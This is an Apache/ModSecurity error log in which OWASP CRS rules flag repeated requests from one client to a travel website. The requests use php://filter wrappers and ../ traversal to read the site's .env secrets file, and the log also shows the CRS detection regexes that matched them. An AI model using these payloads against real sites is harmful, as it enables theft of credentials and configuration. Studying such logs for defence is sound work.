[Fri Jul 17 08:55:10.737751 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.737775 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.737978 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOAAAAA0"]
[Fri Jul 17 08:55:10.738112 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.738536 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=9-_IfBr-tfHuRY-Vk4ou3joAe33yG8qBFGOFW4EHVLiI6nzoOFrOMmpgs6YqaPmD_wUbLhjt_8pA27KFA-PEgCsuKtoEkSy9M-GrT7I7rkTjluIliMFJqAHaTB7CsP6aZqgkoCh4zndXWHN2v7ErwMbWD1ILzYbqtCglQzJr30vKzylG6hF7TC2rm42nC_8KISAjIbfteNZTuxdNEsE2imIHre2cmtaZSZgDwQ3pw7VjxnMHdK7-RUTQXw2Ou5i_lbMtNnHxsUaxPqA9LsozcMlE&ref=AXLUORFD5XH4HGJQZYNDXLPY6TP44XML7SMYWOCGGYQTAKDW2TNGJWA52FITL5FNQFVPIMUDNV5HF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738584 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738671 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.base64-encode/resource=../../../.env&junk=9-_IfBr-tfHuRY-Vk4ou3joAe33yG8qBFGOFW4EHVLiI6nzoOFrOMmpgs6YqaPmD_wUbLhjt_8pA27KFA-PEgCsuKtoEkSy9M-GrT7I7rkTjluIliMFJqAHaTB7CsP6aZqgkoCh4zndXWHN2v7ErwMbWD1ILzYbqtCglQzJr30vKzylG6hF7TC2rm42nC_8KISAjIbfteNZTuxdNEsE2imIHre2cmtaZSZgDwQ3pw7VjxnMHdK7-RUTQXw2Ou5i_lbMtNnHxsUaxPqA9LsozcMlE&ref=AXLUORFD5XH4HGJQZYNDXLPY6TP44XML7SMYWOCGGYQTAKDW2TNGJWA52FITL5FNQFVPIMUDNV5HFHTXEKVYIMH25Y6ION7STAHCZSE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738713 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.base64-encode/resource=../../../.env&junk=9-_ifbr-tfhury-vk4ou3joae33yg8qbfgofw4ehvlii6nzoofrommpgs6yqapmd_wublhjt_8pa27kfa-pegcsuktoeksy9m-grt7i7rktjluilimfjqahatb7csp6azqgkoch4zndxwhn2v7erwmbwd1ilzybqtcglqzjr30vkzylg6hf7tc2rm42nc_8kisajibftenztuxdnese2imihre2cmtazszgdwq3pw7vjxnmhdk7-rutqxw2ou5i_lbmtnnhxsuaxpqa9lsozcmle&ref=axluorfd5xh4hgjqzyndxlpy6tp44xml7smywocggyqtakdw2tngjwa52fitl5fnqfvpimudnv5hfhtxekvyimh25y6ion7stahczse..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738755 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738786 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.738784 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.739068 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.739158 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.739210 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.739369 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOAAAAA0"]
[Fri Jul 17 08:55:10.739414 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.739479 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.739842 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOAAAAA0"]
[Fri Jul 17 08:55:10.739925 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOAAAAA0"]
[Fri Jul 17 08:55:10.739949 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOAAAAA0"]
[Fri Jul 17 08:55:10.740363 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.740575 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.740706 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.741041 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloe39YUk0SgV8AU6igAAABE"]
[Fri Jul 17 08:55:10.741754 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.741885 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.742259 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.744415 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ts=zcVRDUsxWTI_qoPuvF7XxKoVHES7DsG78BGgVp1KOHgDrUV5fGDN44J432ChjKVQaaySQ12NXoB3fxRfzLXMDVLaiDC3fIPfxH1_Kk-pDsDbLRbdyCbeaLJs2wP_NXGPUBY9_TBRbai3cjggH3Zi8pHVmwzEgTMAVH5arkATefbklRVxBFLeVWWaSelf7ETI9GzcfO3ifh1YwEviwvfU1oD_yiyF_PMVD4DHFWnY91qb9ALX8xgTJuz486MmpELQbOX9TlDdUO0aSCk2T0yteiAv&anything=FXKGL4QF6LCQWCHGJIQIRYZ2B2PMNVTL2PNTJQZ575FP4RIJLPQKLIGLHEQDNDXHGFE7Y3..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.744472 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.744519 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=zcVRDUsxWTI_qoPuvF7XxKoVHES7DsG78BGgVp1KOHgDrUV5fGDN44J432ChjKVQaaySQ12NXoB3fxRfzLXMDVLaiDC3fIPfxH1_Kk-pDsDbLRbdyCbeaLJs2wP_NXGPUBY9_TBRbai3cjggH3Zi8pHVmwzEgTMAVH5arkATefbklRVxBFLeVWWaSelf7ETI9GzcfO3ifh1YwEviwvfU1oD_yiyF_PMVD4DHFWnY91qb9ALX8xgTJuz486MmpELQbOX9TlDdUO0aSCk2T0yteiAv&anything=FXKGL4QF6LCQWCHGJIQIRYZ2B2PMNVTL2PNTJQZ575FP4RIJLPQKLIGLHEQDNDXHGFE7Y33BXAEIOQKQZ6HHNLH63BUNHL7D..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.744545 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=zcvrdusxwti_qopuvf7xxkovhes7dsg78bggvp1kohgdruv5fgdn44j432chjkvqaaysq12nxob3fxrfzlxmdvlaidc3fipfxh1_kk-pdsdblrbdycbealjs2wp_nxgpuby9_tbrbai3cjggh3zi8phvmwzegtmavh5arkatefbklrvxbflevwwaself7eti9gzcfo3ifh1yweviwvfu1od_yiyf_pmvd4dhfwny91qb9alx8xgtjuz486mmpelqbox9tldduo0asck2t0yteiav&anything=fxkgl4qf6lcqwchgjiqiryz2b2pmnvtl2pntjqz575fp4rijlpqkliglheqdndxhgfe7y33bxaeioqkqz6hhnlh63bunhl7d..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
[Fri Jul 17 08:55:10.744566 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95twAAAAw"]
